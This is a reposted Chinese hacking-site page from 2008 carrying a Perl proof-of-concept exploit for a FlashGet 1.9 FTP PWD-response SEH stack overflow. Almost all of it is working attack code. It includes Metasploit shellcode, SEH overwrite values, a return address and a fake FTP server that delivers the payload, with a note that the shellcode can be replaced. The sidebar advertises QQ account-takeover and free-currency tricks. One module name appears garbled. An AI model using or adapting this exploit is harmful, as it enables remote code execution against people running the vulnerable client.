首 页文章中心黑客工具黑吧学院技术论坛安全培训免费频道最近更新瑞星在线杀毒
黑吧百度繁體中文
设为首页
加入收藏
发布教程

 

您当前的位置:-黑客动画吧 -> 文章中心 -> 入侵检测 -> 编程代码 -> 文章内容 退出登录 用户管理
分类导航
热门文章
· 如何封别人QQ
· 充QQ币的疯狂——宽...
· 免费得QB
· 400秒远程攻破你的Q...
· [图文] QQ免费建400个群
· [组图] 给你一台永远不关机...
· [注意] QQ宠物砸蛋秘诀
· 再次有机会免费获得...
· 想的挂QQvip的进
· 在QQ中将自己从对方...
相关文章
· 开机吓人的程...
· 微软GDI+图片...
· 从实战角度讨...
· 对抗启发式代...
· 黑客攻防:网...
· 合理配置服务...
· 黑客最喜欢的...
· 识别常见Web漏...
POC for FlashGet 1.9 安全测试代码
作者:佚名  来源:转载  发布时间:2008-8-18 1:52:39  发布人:noangel

减小字体 增大字体

收藏到ViVi】【收藏到YouNote】【收藏此页到365Key】【 收藏此页到bbmao

POC for FlashGet 1.9
#!/usr/bin/perl
# FlashGet 1.9.0.1012 (FTP PWD Response) SEH STACK Overflow Exploit
# Coded By SkOd, skod.uk at gmail dot com
# Tested over Windows XP sp1 Hebrew
# You can change the shellcode


use I:Socket;

####################################[ Parameters ]########################################
my $SHELLCODE =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6b".
"\xa3\x03\x10\x83\xeb\xfc\xe2\xf4\x97\x4b\x47\x10\x6b\xa3\x88\x55".
"\x57\x28\x7f\x15\x13\xa2\xec\x9b\x24\xbb\x88\x4f\x4b\xa2\xe8\x59".
"\xe0\x97\x88\x11\x85\x92\xc3\x89\xc7\x27\xc3\x64\x6c\x62\xc9\x1d".
"\x6a\x61\xe8\xe4\x50\xf7\x27\x14\x1e\x46\x88\x4f\x4f\xa2\xe8\x76".
"\xe0\xaf\x48\x9b\x34\xbf\x02\xfb\xe0\xbf\x88\x11\x80\x2a\x5f\x34".
"\x6f\x60\x32\xd0\x0f\x28\x43\x20\xee\x63\x7b\x1c\xe0\xe3\x0f\x9b".
"\x1b\xbf\xae\x9b\x03\xab\xe8\x19\xe0\x23\xb3\x10\x6b\xa3\x88\x78".
"\x57\xfc\x32\xe6\x0b\xf5\x8a\xe8\xe8\x63\x78\x40\x03\x53\x89\x14".
"\x34\xcb\x9b\xee\xe1\xad\x54\xef\x8c\xc0\x62\x7c\x08\xa3\x03\x10";
# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com

# The Host that will be listen to the Download request from Flashget
my $HOST = '127.0.0.1'; #your own ip
#################################[Don't Edit From Here]#####################################


######################################[Defines]#############################################
my $PADDING_CHAR = "A";
my $PADDING_SIZE = 324;

#The code will return to next_seh_chain so i make it as jump and invalid address
#so it will be decoded as last in chain.
my $NEXT_SEH_IN_CHAIN = "\xEB\x06\xFF\xFF"; # JMP +6

#Settings Return Address
my $CUR_SEH_ADDRESS = "\x71\x15\xFA\x7F";
# Chosen Ret Addr is : 0x1001198B FlashGet\FGBTCORE.dll v1.0. 0.36
# 1001198B   5E               POP ESI
# 1001198C   5B               POP EBX
# 1001198D   C3               RETN

# Building SEH Block
my $SEH_BLOCK = $NEXT_SEH_IN_CHAIN .
                                $CUR_SEH_ADDRESS;

#Creating Payload
$PAYLOAD  = $PADDING_CHAR x $PADDING_SIZE;                
$PAYLOAD .= $SEH_BLOCK;
$PAYLOAD .= $SHELLCODE;
$PAYLOAD .= "\x90" x 300;        #Putting alot of nops so the code will get Exception that we write after stack is over
                                                        #witch will make it to call our code

$LISTEN_PORT = 21;
##########################################################################
print "# FlashGet 1.9.0.1012 (FTP PWD Response) SEH STACK Overflow Exploit\r\n";
print "# Coded By SkOd, skod.uk\x40gmail\x2ecom\r\n";
print "# FlashGet 1.9远程溢出Exploit\r\n";
print "# 由zs711(QQ:49679901)编译,适用于中文版,打开自带计算器\r\n";
print "# YOU can change the shellcode\r\n";
print "# 该Exploit模拟ftp服务器,你可以尝试ftp://localhost/somefile.TORRENT进行本地测试\r\n";
print "# 关于Shellcode:win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com\r\n";

my $serverSocket = new I:Socket::INET (Listen => 1,
                                        LocalAddr => $HOST,
                                        LocalPort => $LISTEN_PORT,
                                        Proto     => 'tcp');        
do
{
        print "\r\n[~] 正在监听..\r\n";
        $clientSocket = $serverSocket->accept();
        print "[+] New Connection Recived\r\n";

        $clientSocket->send("220 WELCOME!\r\n");
        $isPayloadSent = 0;
        
        while($isPayloadSent == 0) {
                $clientSocket->recv($recvBuffer,1024);
                        print "[~] 收到: " . $recvBuffer;
        
                if($recvBuffer =~ /USER/) {
                        $clientSocket->send("331 Password required for l33t\r\n");
                } elsif($recvBuffer =~ /PASS/) {
                        $clientSocket->send("230 User l33t logged in.\r\n");
                } else {
                        $clientSocket->send("257 \"$PAYLOAD\"\r\n");
                        print("[+] shellcode发送完毕!\r\n");
                        $isPayloadSent = 1;
                }
        }
        
        $clientSocket->close();
        
} while (true);
[] [返回上一页] [打 印] [收 藏]
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 网站地图 - 发布教程

Copyright © 2002-2005 Hack58.Com. All Rights Reserved .

备案编号:粤ICP备05008775号